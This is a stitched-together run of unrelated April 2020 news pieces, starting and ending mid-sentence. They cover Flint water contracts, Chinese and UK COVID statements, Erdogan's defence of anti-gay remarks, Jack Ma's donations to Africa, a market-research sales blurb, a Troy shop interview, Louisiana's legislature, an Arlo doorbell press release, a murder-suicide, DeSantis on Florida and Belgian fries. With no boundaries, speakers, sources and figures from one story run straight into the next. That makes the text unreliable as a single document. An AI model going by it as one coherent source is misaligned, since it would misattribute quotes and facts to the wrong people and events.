understand the skepticism and I appreciate all the tough questions you are asking, Oswald said. Were in this together and well get through this together. Councilperson Monica Galloway, Ward 7, said there was a breach of distrust between the state and Flint. Its important to mention that because EGLE is an arm of the state, Galloway said. There has been a six-year horror show, so yes we want everything to be right when we need backup water. There could be damages applied to the contractor and the city could lose money. We would begin paying for water we werent receiving, Bincsik said. Angela Wheeler, the city attorney, said it could cost the city up to $34,000 a month. Mays later motioned to postpone voting on the projects until May 11. Plans for the development of 366 new homes in Clane are on hold after a High Court judge referred an issue over an EU directive to the Court of Justice of the European Union. Last October developers Ardstone Homes Limited from Co Dublin were granted permission by An Bord Pleanala for the 80m housing scheme at Capdoo. The Court of Justice of the European Union interprets EU law to make sure it is applied in the same way in all EU countries. The homes in Clane have a total floor area of nearly 40,000 square metres and would be built on a site spanning over 11.4 hectares. The site is relatively close to the Lidl store on the Celbridge road and the Tesco Metro store. The property units will comprise 184 houses and 182 apartments. The application included a new road joining College (Kilcock) R407 to the Capdoo Park access road (Capdoo Lane) to the south and the Celbridge Road (R403). There are also plans to upgrade to the Capdoo Park / Brooklands junction on the Celbridge Road, to be carried out in conjunction with Kildare County Council. Flash China on Monday called on the United States to respond to in a timely manner the concerns of its people and the international community on fighting COVID-19. Foreign Ministry spokesperson Geng Shuang made the remarks when asked to comment on the fact that more people in the United States were casting doubts on the U.S. government's response to the pandemic. "Many in the United States have been questioning and worrying whether the U.S. government has responded timely and effectively to the outbreak," Geng said at a press briefing. "They wanted to get the facts straight: when did the first case occur in the United States? Is the U.S. government hiding something? Why is it so desperately seeking to pin the blame on other countries and international organizations?" On April 4, the Washington Post published an article that gave a panoramic view of how and why the U.S. government handled the epidemic poorly at the early stage. On April 13 and 19 at the White House press briefings, CBS and CNN journalists questioned the delay in the U.S. government's response to COVID-19 when it already knew the potential risks of the global spread. On April 14, The Atlantic said in an article that the main reason for the huge outbreak of cases in the U.S. was a lack of forceful government measures. On April 21, the Los Angeles Times reported that according to the autopsy results released by Santa Clara County health officials, the first death case from the novel coronavirus was actually on Feb. 6, almost one month early than the first known death declared by the U.S. Centers for Disease Control and Prevention. Santa Clara officials also said that people in California might have been infected as early as last December. "We hope the U.S. government can timely respond to the concerns of its own people and the international community. The World Health Organization may also be invited to help review this process," Geng said. Noting that infectious diseases are the common enemy of all mankind, he said both the Chinese and U.S. people were victims, and only through solidarity and cooperation can the international community win the war against the virus. "We hope the United States will adopt an open, transparent and responsible attitude, take effective measures to safeguard the life and health of its people, and work with the international community to safeguard global public health security," Geng said. Source: Xinhua| 2020-04-28 22:36:23|Editor: huaxia Video Player Close LONDON, April 28 (Xinhua) -- Britain held one minute's silence on Tuesday morning to commemorate the key workers who have died during the novel coronavirus outbreak. Prime Minister Boris Johnson, who returned to Downing Street on Monday after recovering from COVID-19, joined the tribute at 11:00 a.m. (1000 GMT). Johnson said on Twitter: "This morning I took part in a minute's silence to remember those workers who have tragically died in the coronavirus pandemic. The nation will not forget you." Flags were flown at half mast at some hospitals and health staff paused work for one minute to pay respects to their colleagues. Stephen Powis, national medical director of NHS (National Health Service) England, said the silence would ensure the health workers' "contribution is remembered and appreciated". Health Secretary Matt Hancock said Monday that 82 NHS staff and 16 care workers have died from COVID-19. According to the BBC, more than 100 doctors, nurses, volunteers as well as transport staff and other key workers have lost their lives during the pandemic. Many family members of those who have died have complained that health professionals are not being given adequate protective equipment as they deal with COVID-19 cases. The government announced Monday that families of front-line NHS and social care staff who died from the disease would receive a 60,000-pound (74,712-U.S.-dollar) compensation payment. Another 360 people who tested positive for COVID-19 have died in hospitals in Britain as of Sunday afternoon, taking the total coronavirus hospital death toll to 21,092, according to the Department of Health and Social Care. Observers have suggested the real death toll is much higher than the data revealed by the department, which only records hospital deaths. According to the latest figures released by the Office for National Statistics on Tuesday, more than 4,300 people have died from COVID-19 in care homes across England and Wales in two weeks ending April 24. Enditem Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Ankara, Turkey Tue, April 28, 2020 07:12 625 fc6853813033f564188675f8bd490244 2 World Turkey,Recep-Tayyip-Erdogan,president,religious-figures,HIV,anti-LGBT,homosexuality Free Turkish President Recep Tayyip Erdogan on Monday defended a top religious official who claimed homosexuality caused diseases, corrupted people and was condemned in Islamic teaching. Ali Erbas, head of a state-funded agency called the Diyanet, which runs mosques and appoints imams, also claimed during his weekly sermon that homosexuality caused HIV. The Ankara bar association of lawyers accused him of inciting hatred against gay people while ignoring child abuse and misogyny. But Erdogan dismissed the criticism, saying "an attack against the Diyanet chief is an attack on the state" before adding: "What he said was totally right." Erdogan's allies have attempted to shut down criticism of Erbas -- Ankara prosecutors have opened a probe into the bar association for "insulting the religious values adopted by a section of society" and Diyanet has made a criminal complaint against the lawyers. "Ali Erbas, who voiced divine judgment, is not alone," said Erdogan's spokesman, Ibrahim Kalin, on Twitter -- echoing a popular hashtag. The spokesman for Erdogan's ruling Islamic-rooted party, Omer Celik, insisted Erbas's comments were consistent with democratic values. "Everyone has the fundamental right to speak in Turkey based on whatever value system they believe in," Celik said on Twitter. On the other side, gay rights group Kaos GL said the religious chief had "spewed hatred" with "unscientific claims" and the Ankara-based Human Rights Association said it would file a legal complaint against him. Diyanet was established in 1924 to oversee religion in secular Turkey after the abolition of the Islamic Caliphate in the wake of the Ottoman Empire's collapse. Critics say the organization has an outsized budget and is a symbol of creeping conservatism under Erdogan, despite Turkey being formally secular. Although homosexuality has been legal throughout modern Turkey's history, gay people regularly face harassment and abuse. In recent years, LGBT events have been blocked including Istanbul Pride, which has been banned five years in a row after taking place every year since 2003. Source: Xinhua| 2020-04-28 22:42:01|Editor: huaxia Video Player Close ADDIS ABABA, April 28 (Xinhua) -- The Africa Centers for Disease Control and Prevention (Africa CDC) has received the third round of medical equipment and supplies donated by the Jack Ma and Alibaba foundations in support of Africa's fight against the spread of COVID-19. The latest batch of the donation arrived in the Ethiopian capital Addis Ababa late Monday through an Ethiopian Airlines cargo flight. The third-round donation to Africa from the Jack Ma Foundation and Alibaba Foundation mainly includes 4.6 million masks, 500,000 swabs and test kits, 300 ventilators, 200,000 sets of protective clothing, 200,000 face shields, 2,000 temperature guns, 100 body temperature scanners, and 500,000 pairs of gloves. The donation is expected to come in more batches in the coming days. Ethiopian Prime Minister Abiy Ahmed expressed his appreciation to the Jack Ma Foundation and Alibaba Foundation on Twitter for "continuing to show solidarity with Africa." "The world cannot afford the unthinkable consequences of a COVID-19 pandemic in Africa. The crisis is proving to be more difficult and longer lasting than any of us had expected. We must make every effort to get prepared," said Jack Ma, Founder of Jack Ma Foundation and Alibaba Group, in a statement. "As members of the global community, it would be irresponsible for us to sit on the fence, panic, ignore facts, or fail to act. We need to take action now," said Jack Ma. Meanwhile, the Jack Ma Foundation is also collaborating with Africa CDC to hold a special webinar entitled "Global MediXChange for Combating COVID-19 (GMCC): The Experience of China" on April 28. The GMCC platform was launched in March to facilitate open knowledge sharing and online communication to combat COVID-19. Thousands of medical staff from African countries such as Ethiopia, Ghana, Rwanda, South Africa and Zimbabwe have participated in its live exchange sessions. Last week, the African Union (AU) Commission commended the Chinese tech entrepreneur and philanthropist, Jack Ma, following his latest announcement of the third-round donation. "These vital supplies will enhance the Africa CDC's strategic stockpile to assist member states in the COVID-19 fight," AU Commission Chairperson Moussa Faki Mahamat said. The AU Commissioner of Social Affairs, Amira Elfadil, also commended the latest batch of massive medical equipment donation from Jack Ma in support of Africa's fight against the spread of the COVID-19 pandemic, calling it "a true solidarity with Africa". Ahmed Ogwell, Deputy Director of Africa CDC, also hailed the donation made by Jack Ma, saying that "this is a partnership that works. The Africa CDC values friends of Africa." On Tuesday, the Africa CDC disclosed that the death toll from the ongoing COVID-19 pandemic on the African continent reached 1,423 as the number of confirmed cases hit 31,933 as of early Tuesday. On March 22, the first batch of massive medical supplies donated by China's Jack Ma Foundation and Alibaba Foundation arrived in Africa. The massive medical supplies, soon after its arrival in the Ethiopian capital, had been transferred to 54 African countries. On April 6, the Jack Ma Foundation and Alibaba Foundation made the second round of donation, which went to all 54 countries in Africa as the continent grapples with the pandemic. Enditem Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. According to Stratistics MRC, the Global Total Ankle Replacement Market is accounted for $158.26 million in 2017 and is expected to reach $327.07 million by 2026 growing at a CAGR of 8.4% during the forecast period. Growing geriatric population, increasing predominance of osteoarthritis and rheumatoid arthritis and rising incidences of accident and trauma patients are some of the factors fuelling the market growth. However, risks associated with total ankle replacement surgery are restricting market growth. Total ankle replacement is a surgical process for replacing injured skeleton in the ankle joint. This process is performed by placing a plastic or metal embed on top of the ankle bone and at the end of the shin bone. Based on Design, Scandinavian Total Ankle Replacement (STAR) has significant market growth during the forecast period. The Scandinavian Total Ankle Replacement (STAR Ankle) is indicated for utilizing as a non-cemented embed to replace a sore arthritic ankle joint owing to osteoarthritis, post-traumatic arthritis or rheumatoid arthritis. By Geography, Asia-Pacific is anticipated to grow at the significant market share during the forecast period, owing to growing healthcare expenditure and increasing awareness regarding innovative medical technologies. Request for Report sample :https://www.trendsmarketresearch.com/report/sample/11088 Some of the key players profiled in the total ankle replacement market include KYOCERA Medical Corporation, Stryker Corporation, Zimmer Holdings, Inc., MatOrtho, Integra LifeSciences Corporation, Wright Medical Technology, Inc, Corin, Adam D. Perler, Depuy Synthes, Small Bone Innovations, Inc, Exactech, Smith and Nephew, Biomet Inc. and Tornier. Designs Covered: Salto Total Ankle Replacement Zenith Total Ankle Replacement Scandinavian Total Ankle Replacement (STAR) Box Total Ankle Replacement Mobility Total Ankle Replacement Hintegra Total Ankle Replacement TNK Total Ankle Replacement German Ankle System Buechel-Pappas Ankle Prosthesis ESKA Ankle Prosthesis Ramses Total Ankle Replacement Agility Ankle Prosthesis AES Total Ankle Replacement Alphanorm Total Ankle Replacement INBONE Total Ankle Replacement TARIC Total Ankle Replacement Other Designs Products Covered: Alloy Material Product Resin Material Product Metal Material Product Request for Report Discount:https://www.trendsmarketresearch.com/report/discount/11088 Applications Covered: Rheumatoid Arthritis Osteoarthritis Post-traumatic Arthritis Regions Covered: North America o US o Canada o Mexico Europe o Germany o UK o Italy o France o Spain o Rest of Europe Asia Pacific o Japan o China o India o Australia o New Zealand o South Korea o Rest of Asia Pacific South America o Argentina o Brazil o Chile o Rest of South America Middle East & Africa o Saudi Arabia o UAE o Qatar o South Africa o Rest of Middle East & Africa What our report offers: - Market share assessments for the regional and country level segments - Strategic recommendations for the new entrants - Market forecasts for a minimum of 9 years of all the mentioned segments, sub segments and the regional markets - Market Trends (Drivers, Constraints, Opportunities, Threats, Challenges, Investment Opportunities, and recommendations) - Strategic analysis: Drivers and Constraints, Product/Technology Analysis, Porters five forces analysis, SWOT analysis etc. - Strategic recommendations in key business segments based on the market estimations - Competitive landscaping mapping the key common trends - Company profiling with detailed strategies, financials, and recent developments - Supply chain trends mapping the latest technological advancements Make an Inquiry before Buying@:https://www.trendsmarketresearch.com/checkout/11088/Single Free Customization Offerings: All the customers of this report will be entitled to receive one of the following free customization options: Company Profiling o Comprehensive profiling of additional market players (up to 3) o SWOT Analysis of key players (up to 3) Regional Segmentation o Market estimations, Forecasts and CAGR of any prominent country as per the clients interest (Note: Depends of feasibility check) Competitive Benchmarking o Benchmarking of key players based on product portfolio, geographical presence, and strategic alliances Our regular Capital Region Q&A features talks with people about their lives, their work and the place we call home. Todays subject is Dave Langer, co-owner and manager of Troy Cloth & Paper Co. Langer co-founded Troy Shirt Co., which merged with TC&P four years ago; Troy Shirt now handles the venture's custom printing, and TC&P is its retail division. The shop and main production facility is at 38 Third St. in downtown Troy, though the store currently is available for online orders and curbside pickup only. A New Jersey native and Troy resident since enrolling in 2008 at RPI to pursue a degree in electrical, computer and systems engineering, Langer, 30, lives in Troy. Answers have been minimally edited for space and clarity. Q: Two months ago, you were a novelty shop selling custom-printed T-shirts, greeting cards, Troy-themed totes and other accessories, and more. Five weeks ago, people basically stopped shopping retail. You described that first week after the shutdown as being dead in the water. What prospects did you see to adapt to keep in business? A: At first we tried going to online sales, but it became pretty clear quickly that wasnt going to work. Q: When and how did the idea come up to produce cloth face masks? A: It started a few weeks ago, before Gov. Cuomo announced that everybody had to wear a mask out in public. When we started, there wasnt as much of a need up here, but there was in New Jersey, where a lot of family members are, so we started making them to send them down there. We pretty quickly realized the need was going to grow and we had to scale up. Q: Did you have the equipment to make face masks? A: We had some, we borrowed some, and we started contracting with local seamstresses who had their own. We produced about 300 to 400 pieces that way that we sold, donated or gave away, and then we started reaching out to a few of our apparel providers, who began retrofitting their production facilities. Q: What do you have available now? A: There are plain cloth masks that were making in-house and the enhanced masks, in black or white, with a fabric that is guaranteed to be antimicrobial for 40 washes. Q: How are they selling? A: Were expecting to distribute 2,000 to 3,000 over the next four weeks. Q: Prior to a few weeks ago, had you ever sold a face mask of any kind? A: I guess so: We sold bandanas. Pop quiz: What is the biggest greeting card that has ever been produced? A: Maybe 4 feet high? Q: In 2017, a company in India produced a card for that countrys Independence Day with a cover measuring 59 feet high by 43 feet wide. A: Wow. Q: Is making a card that size an ambition of yours? A: Wed need a bigger facility. Q: Whats the biggest card youve ever made? A: Probably 3 feet by 4 feet. We did it for a retirement party. Q: What percentage of your merchandise is printed in-house? A: About 95 percent. Q: Designed in-house? A: Id say 80 percent. Q: One of your cards has a sad-faced octopus with the words Im sorry. Why a cephalopod for an apology? Sign up for The Knick Get the latest news and some area history with our afternoon newsletter. A: People tend to find animals humorous. It cheers them up even if its something a little sad or serious. Q: A sad octopus cheers people up? A: An octopus is just one of those cool animals. Theres a happy version of it, too. We reuse some of our most popular animals. Theres a cat youll see in several, including with reindeer antlers and another with a yarmulke. Q: Whats your most popular card? A: Of the in-house designs, its the Dumb & Dumber card with Jim Carreys face and the words, I like you uh-lot. Q: Really? A: The least popular are probably the kitchen-category posters, with illustrations of edamame, strawberries and one with a radish. They dont sell. Pop quiz: A lot of your merchandise celebrates Troy. While the Collar City has gotten more popular in arts, culture and dining in recent years, it has also become less populous. By what percentage did Troys population decline in the past 30 years? A: I have no idea. About 30 percent? Q: About 10 percent, to 49,000. A: That probably doesnt account for all the college students leaving. Then it would be more. (Laughs.) When the colleges closed, weve lost a lot of our projects, and all of the events wed planned to be part of have been canceled. Q: How you your staff size changed? You previously had five working full time, six part time. A: Weve now got three full-timers, one part time. Q: How are you looking at the future? A: Were literally taking it day by day. As things seem like theyre going to be stretching out for a while longer, people are starting to schedule online conferences, and theyre ordering merchandise or swag for their participants. Were anticipating getting our online and custom-printing business back, but at this point it doesnt look like our retail store is going to be sustainable. Its so hard to say where were going to be where anybodys going to be a year from now. Despite heavy pushback from black lawmakers, Senate President Page Cortez said Tuesday the Louisiana Legislature can resume work Monday by taking extraordinary steps to ensure the safety of lawmakers amid the coronavirus pandemic. "We have got to get back and start doing our business," Cortez said. "We are essential to government operations. We are just as essential as grocery stores and the Home Depots and Lowe's of the world." But leaders of the Legislative Black Caucus, the Senate Democratic Caucus and the House Democratic Caucus said it would be irresponsible for the Legislature to resume work May 4 and that May 15 makes more sense. "It could be a devastating blow to the strides made and to the safety of our residents, our staff and members if we returned to business as usual prematurely," the groups said in a letter to Gov. John Bel Edwards, Cortez and House Speaker Clay Schexnayder, R-Gonzales. Cortez, a Lafayette Republican, made his comments one day after Edwards extended his stay-at-home order to May 15. He said House GOP leaders agree with the legislative timetable. However, the issue is especially volatile because black residents have suffered an inordinate number of deaths during the pandemic. The session, which was supposed to last for about three months, began March 9 but stopped about one week later because of the spread of the virus. The House and Senate returned on March 31 for a few hours, observing social distancing rules, only to break again indefinitely. +19 Louisiana Legislature meets to handle necessary housekeeping The Louisiana Legislature convened for about an hour Tuesday morning to move along new legislation and set up for contingency plans should the Cortez said there is no need for a formal call to resume work because legislative leaders agreed on March 31 that it was only subject to his call. The Republican said top lawmakers favor May 4 over mid-May because it will be safer to conduct business in four weeks than two. "If we delay the session then we would be putting multiple committee meetings in the hallways at the same time, which is diametrically opposed to the suggestions to businesses and to restaurants and so forth," he said. Edwards, a former House member, said Monday that while it is up to lawmakers to decide on their timetable, the Legislature is like "essential infrastructure." The re-start date also sparked criticism from individual legislators. Rep. Ted James, D-Baton Rouge, who has recovered after spending five days in the hospital battling COVID-19, noted that the virus claimed the life of state Rep. Reggie Bagala, R-Cut Off. "I just think it is irresponsible for us to go back while a stay-at-home-order is in place," James said Tuesday. "When we play politics with lives you have to draw the line somewhere." James said he has no plans to return to the State Capitol before the end of May and only to vote on key issues. Vaccine news in your inbox Once a week we'll update you on the progress of COVID-19 vaccinations. Sign up today. e-mail address * Sign Up +3 Baton Rouge lawmaker hospitalized with coronavirus; Harvey rep hospitalized briefly State Rep. Ted James, a Baton Rouge Democrat and one of the most influential voices in the area legislative delegation, said he has tested pos COVID-19 is the illness caused by the novel coronavirus. Cortez, who has also recovered after a bout with COVID-19 last month, said he would never be critical of someone who opted not to return to the State Capitol because of health concerns. "But we also know that this virus is going to be around another year or longer," he said. "If somebody did not show up for another two years I would understand that. The virus isn't going away in June. It is not going away in August. But we still have to have a budget by June 30." Cortez said the plan is to limit committees to one meeting at a time and observe social distancing rules beyond what essential businesses are doing. Louisiana Legislature forms task force to address coronavirus recovery Senate President Page Cortez and House Speaker Clay Schexnayder announced Friday afternoon the creation of a private-sector task force to advi He said paper documents will be avoided, conference rooms will not be used, members of the public will not be allowed to approach the dais and strict limits imposed on access to the House and Senate floors. Each time someone testifies before a committee that area will be wiped down. He said the Louisiana Legislature, unlike some other states, does not have the ability to conduct business virtually. Cortez said enactment of a $30 billion operating budget will be one of the priorities, as well as appointments, the renewal of government agencies set to close and bills related to the pandemic. However, if the panel that sets the state revenue outlook called the Revenue Estimating Committee does not meet until mid-May, finishing work on the budget in the regular session may be impossible. A new budget has to be in place by July 1, which means a special session may be required on that and other issues. Schexnayder could not be reached for comment. The letter criticizing the May 4 re-opening was signed by Sen. Troy Carter, D-New Orleans and chairman of the Senate Democratic Caucus; state Rep. Jimmy Harris, D-New Orleans, chairman of the Legislative Black Caucus and Rep. Sam Jenkins Jr., D-Shreveport, chairman of the House Democratic Caucus. "Confusion fosters disarray and fear," the letter says. "Mixed messages from public officials counters our ability to truly recover, economically and physically." State Sen. Cleo Fields, D-Baton Rouge, said while he respects lawmakers who have apprehensions about returning on May 4 "the president (Cortez) has made the decision to call us back into session and I will be there." Share this article Whatsapp Facebook Twitter Linkedin Norman Harsono (The Jakarta Post) Jakarta Tue, April 28, 2020 The government has added the power generation industry to a list of industries eligible for cheap gas, a non-fiscal incentive intended to improve the competitiveness of the countrys key industries. The Energy and Mineral Resources Ministry issued on April 6 Regulation No. 10/2020, which stipulates that state-owned electricity company PLN and independent power producers (IPPs) can buy gas at US$6 per million British thermal unit (mmbtu), below the market average of $8 per mmbtu. The incentive, which has also been given to nearly 200 companies engaged in key industries, is subject to ministerial approval on a case-by-case basis. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login By Express News Service Actor Pankaj Tripathi, who has tasted success on the big screen as well as the digital space, says that when it comes to the debate on web censorship, a dialogue is very important. Everything should have a debate because a dialogue is important. The storytellers get to tell their stories the way they want to, without the censors on the platform. They have freedom, opined Tripathi, who gained a major fan base as Guruji in Sacred Games and Kaleen bhaiya in Mirzapur. However, not everything can be defended in the name of creative freedom, he feels.There are some people who just want to spread sansani (sensationalism). They too have some freedom because there are no censors. So, there are pros and cons of having censorship, and if there is a debate only then will people arrive at some conclusion, the actor pointed out.On the acting front, he will next be seen in Kabir Khans 83. Kartchner Homes has selected the Arlo Video Doorbell for its class-leading performance and features. Recently recognized by CNET as the "Best Video Doorbell of 2020"1, the Arlo Video Doorbell is a smart front entry monitoring solution that offers an industry-leading vertical field-of-view, high-definition video resolution, clear two-way audio, and a sophisticated design to complement any home style or design. "Home building is a key vertical market for Arlo as we continue to expand beyond our retail and e-commerce channels. More than ever, home builders are looking to integrate smart home technologies as an added value and differentiation within the market," said Tom Babula, SVP worldwide sales at Arlo. "This strategic partnership with Kartchner Homes will provide homeowners with the industry's most intuitive front entry monitoring solutions. With Arlo Video Doorbell being compatible with both Google Assistant and Amazon Alexa voice assistant ecosystems, new Kartchner Homes' homeowners will be able to easily integrate Arlo Video Doorbell with the connected home ecosystem of their choice." "Kartchner Homes seeks to offer convenience and value to our customers, so when selecting smart features for our homes, the Arlo Video Doorbell was an obvious choice," said Evan DeLong, Kartchner Homes Smart Home Specialist. "With one of the most competitive price points, Arlo has packed their video doorbell with all the same features as their pricier competitors, plus some. We love its notification features and slim form. We are excited to introduce this amenity to all of our customers moving forward." The future residents of Kartchner Homes with built-in Arlo Video Doorbells will enjoy smart notifications to detect front entry activity, along with two-way audio allowing them to speak with visitors without having to answer the door. By capturing footage in HD resolution and a square aspect ratio, the Arlo Video Doorbell allows users to fully view packages on the ground, or visitors from head to toe ensuring no detail goes unnoticed. The Arlo Video Doorbell also makes answering the door as easy as answering the phone. While competitors utilize a multi-step notification and response process, the Arlo Video Doorbell delivers direct-to-mobile video calls for quick and easy reply, resulting in a streamlined process for real- time communication with guests. See below for additional Arlo Video Doorbell features: Optimized front entry view industry-leading vertical field-of-view with an optimized 1:1 aspect ratio allows for a complete view of the front door industry-leading vertical field-of-view with an optimized 1:1 aspect ratio allows for a complete view of the front door Motion detection and alerts receive alerts when motion is detected receive alerts when motion is detected Quick reply messages pre-recorded messages to quickly reply to visitors pre-recorded messages to quickly reply to visitors Night vision see who's at your door at night, even without a light on see who's at your door at night, even without a light on Zoom zoom in on a subject while on a live video call zoom in on a subject while on a live video call Silent mode disables push notifications and silences chime disables push notifications and silences chime Weather-resistant design designed to withstand heat, cold, rain or sun designed to withstand heat, cold, rain or sun Built-in Smart Siren siren can be triggered if someone attempts to remove the doorbell With Arlo Video Doorbell (MSRP $149), homeowners can sign up for Arlo's AI subscription-based service, Arlo Smart after an initial three-month trial. Arlo Smart provides access to rolling 30-days of cloud recordings to store and view video clips. In addition, Arlo Smart subscribers will be able to customize their experience by adjusting notification settings to spot people, vehicles, animals or packages.2 Arlo's e9113 feature is also offered through Arlo Smart, providing access to emergency services local to the camera's location instead of the user's location for quick action in emergency situations. Controlled entirely through the Arlo app, Arlo Smart users can easily view live streams and recordings from their video doorbell cameras, adjust their camera's settings or access cloud recordings. For more information on Arlo Video Doorbell, Arlo Smart, and the full range of Arlo smart home products and services, visit www.arlo.com. About Arlo Technologies, Inc. Arlo is the award-winning, industry leader that is transforming the way people experience the connected lifestyle. Arlo's deep expertise in product design, wireless connectivity, cloud infrastructure and cutting-edge AI capabilities focuses on delivering a seamless, smart home experience for Arlo users that is easy to setup and interact with every day. The company's cloud-based platform provides users with visibility, insight and a powerful means to help protect and connect in real-time with the people and things that matter most, from any location with a Wi-Fi or a cellular connection. To date, Arlo has launched several categories of award-winning smart connected devices, including wire-free smart Wi-Fi and LTE-enabled cameras, audio and video doorbells, advanced baby monitors and smart security lights. About Kartchner Homes Kartchner Homes is the premier home builder in Northern Utah and Southeast Idaho and the best choice for quality, affordable homes. We specialize in quick move in's, beautifully designed homes ready to move in today. Want to pick your own colors and options? Kartchner Homes has a wide variety of floor plans to choose from. With a wide array of innovative new homes located in Logan, Hyrum, Idaho Falls, Ammon, Rigby & Rexburg, Kartchner Homes has a new home to fit every lifestyle. Safe Harbor Statement under the Private Securities Litigation Reform Act of 1995: This press release contains forward-looking statements within the meaning of the U.S. Private Securities Litigation Reform Act of 1995. The words "anticipate," "expect," "believe," "will," "may," "should," "estimate," "project," "outlook," "forecast" or other similar words are used to identify such forward-looking statements. However, the absence of these words does not mean that the statements are not forward-looking. The forward-looking statements represent Arlo Technologies, Inc.'s expectations or beliefs concerning future events based on information available at the time such statements were made and include statements regarding: Arlo's video doorbell, Arlo Smart, and future Arlo products. These statements are based on management's current expectations and are subject to certain risks and uncertainties, including the following: future demand for the Company's products may be lower than anticipated; consumers may choose not to adopt the Company's new product offerings or adopt competing products; and product performance may be adversely affected by real world operating conditions. Further, certain forward-looking statements are based on assumptions as to future events that may not prove to be accurate. Therefore, actual outcomes and results may differ materially from what is expressed or forecast in such forward-looking statements. Further information on potential risk factors that could affect Arlo and its business are detailed in the Company's periodic filings with the Securities and Exchange Commission, including, but not limited to, those risk factors described in the Company's Annual Report on Form 10-K for the year ended December 31, 2018. Given these circumstances, you should not place undue reliance on these forward-looking statements. Arlo undertakes no obligation to release publicly any revisions to any forward-looking statements contained herein to reflect events or circumstances after the date hereof or to reflect the occurrence of unanticipated events. 1 CNET: The Best Home Security Cameras of 2020 (3/16/2020) 2 Personalized alerts made available through the complimentary three-month Arlo Smart trial subscription 3 Available to customers in the United States only SOURCE Arlo Technologies, Inc. Related Links https://www.arlo.com/ A mother-of-two killed her two children and her mother before turning the gun on herself, police say. The woman had lost custody of her children shortly before the incident, according to the San Antonio Police Department. Officers responded to a report of a dead person within the gated Sedona Ranch apartment in North Side. A mother-of-two killed her two children and her mother before turning the gun on herself, police say (Stock image) Inside the apartment they discovered four bodies. Police allege the woman, 38, shot dead her 5-year-old daughter, 3-year-old son, and 68-year-old mother. 'According to the father, she had lost custody of the children very, very, very recently and this was the terrible end result of that,' Chief William McManus said. The father of the children, who had been trying to contact the woman, saw the bodies after he peered in through a crack in the blinds at the rear of the apartment, according to the San Antonio Express-News. He saw the bodies in two separate bedrooms and called the police. According to the father, the woman had no history of violence. Resident of Sedona Ranch, Ed Gardner, told the publication: 'It's crazy that you're going to hurt your own kids. 'They looked up to you to protect them. Not kill them, and then your mother. Just crazy. It's just crazy.' Investigations continue. President Donald Trump listens as Florida Gov. Ron DeSantis holds up a sign during a meeting in the Oval Office of the White House in Washington on April 28, 2020. (Mandel Ngan/AFP via Getty Images) DeSantis: Floridas Success Against COVID-19 Came Despite Not Issuing Draconian Orders The success Florida has seen against COVID-19, relative to many other states, stemmed from a tailored and measured approach, Gov. Ron DeSantis said Tuesday, contrasting his actions with draconian orders issued by most other governors. Florida had less than 500 COVID-19 patients on ventilators as of Monday night and lower or comparable numbers compared to states where harsher measures were imposed. DeSantis resisted issuing a stay at home order until April 1, repeatedly emphasizing the bulk of the states cases were in a few areas. You look at some of the most draconian orders that have been issued in some of these states and compare Florida in terms of hospitalizations per 100,000, in terms of our fatalities per 100,000, DeSantis said after meeting with President Donald Trump at the White House. Everyone in the media was saying that Florida was going to be like New York or Italy and that has not happened. Officials understood that Florida is large and diverse and that the outbreak wasnt uniform throughout the state. Most counties in the northern part of the state have case counts in the hundreds and few deaths. People are seen at the beach in Jacksonville Beach, Fla., on April 17, 2020. (Sam Greenwood/Getty Images) We had a tailored and measured approach that not only helped our numbers be way below what anyone predicted, but also did less damage to our state going forward, he said. COVID-19 is a disease caused by the CCP (Chinese Communist Party) virus, a novel coronavirus that emerged from mainland China last year. DeSantis, a Republican in his first term, said his March 11 order blocking many visitors from nursing homes and assisted-living facilities helped stem more outbreaks from happening, as well as ordering staff at the long-term facilities wear masks and other personal protective equipment. The state used four different sets of teams focused respectively on training people on infectious control, assessing where long-term facilities had deficiencies, sending equipment to the facilities, and conducting testing at them. The Florida Division of Emergency Management sent almost seven million masks, almost a million gloves, and 160,000 gowns to the facilities and homes, which together number over 3,700 in the state. Quickly rolling out drive-thru testing sites and some walk-up facilities also helped contain the virus, DeSantis said, as well as helping officials learn about the illness. A man exchanges his voucher, purchased online to guarantee a spot, for a show ticket t the Ocala drive-in theatre in Ocala, Florida, on April 25, 2020. (Via Micolucci/AFP via Getty Images) DeSantiss order is slated to expire on April 30 and he is scheduled to give details on the next steps on reopening the state on Wednesday. For Florida, going from where we are now to phase one is not a very big leap. Were going to approach it in a very measured, thoughtful, and data-driven way, the governor said. As of April 28, Florida has 32,846 confirmed COVID-19 cases. It wasnt clear how many of those patients have recovered. Most patients who contract the CCP virus recover outside of hospitals. Many CCP virus patients never show symptoms, making the true number of cases higher. The state has 5,222 total hospitalizations. The current number of patients in hospitals isnt disclosed by state officials. Florida has 1,171 deaths linked to COVID-19, which is 0.1 percent of the states population and 3.5 percent of confirmed cases. The coronavirus has hit immigrant communities hard. And it's been especially virulent in detention centers that house thousands of men, women and children seeking asylum as refugees. On the Coronavirus Q & A at noon Tuesday, Attorney Craig Shagin, who specializes in immigration law, and Maria Hernandez, with the Movement of Immigrant Leaders in Pennsylvania, discuss how COVID-19 is impacting immigrant communities in Pennsylvania, especially among undocumented residents. On the national level, President Donald Trump has instituted an immigrant ban that immigrant advocates say is unlawful. Several organizations have filed suit to have the ban lifted. Meanwhile, immigrant advocates say millions of immigrants already in the United States are being denied testing for COVID-19 and are fearful of seeking medical care. In addition, they are not eligible for government stimulus checks. But many undocumented immigrants in the United States pay taxes and are working on the frontlines to keep the economy functioning. And they cant call in sick. Well discuss these issues on PennLives Coronavirus Q & A today on Facebook Live. Thanks for visiting PennLive. Quality local journalism has never been more important. You deserve the best. Not a subscriber yet? Please consider supporting our work. In a country that claims to be the real birthplace of the finger food that Americans have the temerity to call french fries, rescuing the potato industry might easily be a matter of Belgian national pride. So while a coronavirus lockdown keeps restaurants, bars and many of Belgium's 5,000 frites stands closed, the trade association for the national potato industry is calling on the population at large to do its part by keeping deep fryers fired up on the home front. Traditionally, Belgians eat fries once a week, and it's always a festive moment, Romain Cools, the secretary general of industry group Belgapom, said in a phone interview Tuesday. Now, we are asking them to eat frozen fries twice a week at home. The demand for frozen potatoes has nosedived in recent weeks, and the Belgian industry faces a possible loss of 125 million euros (USD 135.5 million), if hundreds of tons of surplus potatoes don't move this year, Cools said. This is the first time in my 30-year career that I need to call on authorities for help, he said. The potato sector is so important. It should be helped because it's a flagship for our whole industry. The industry wants to find new ways to move 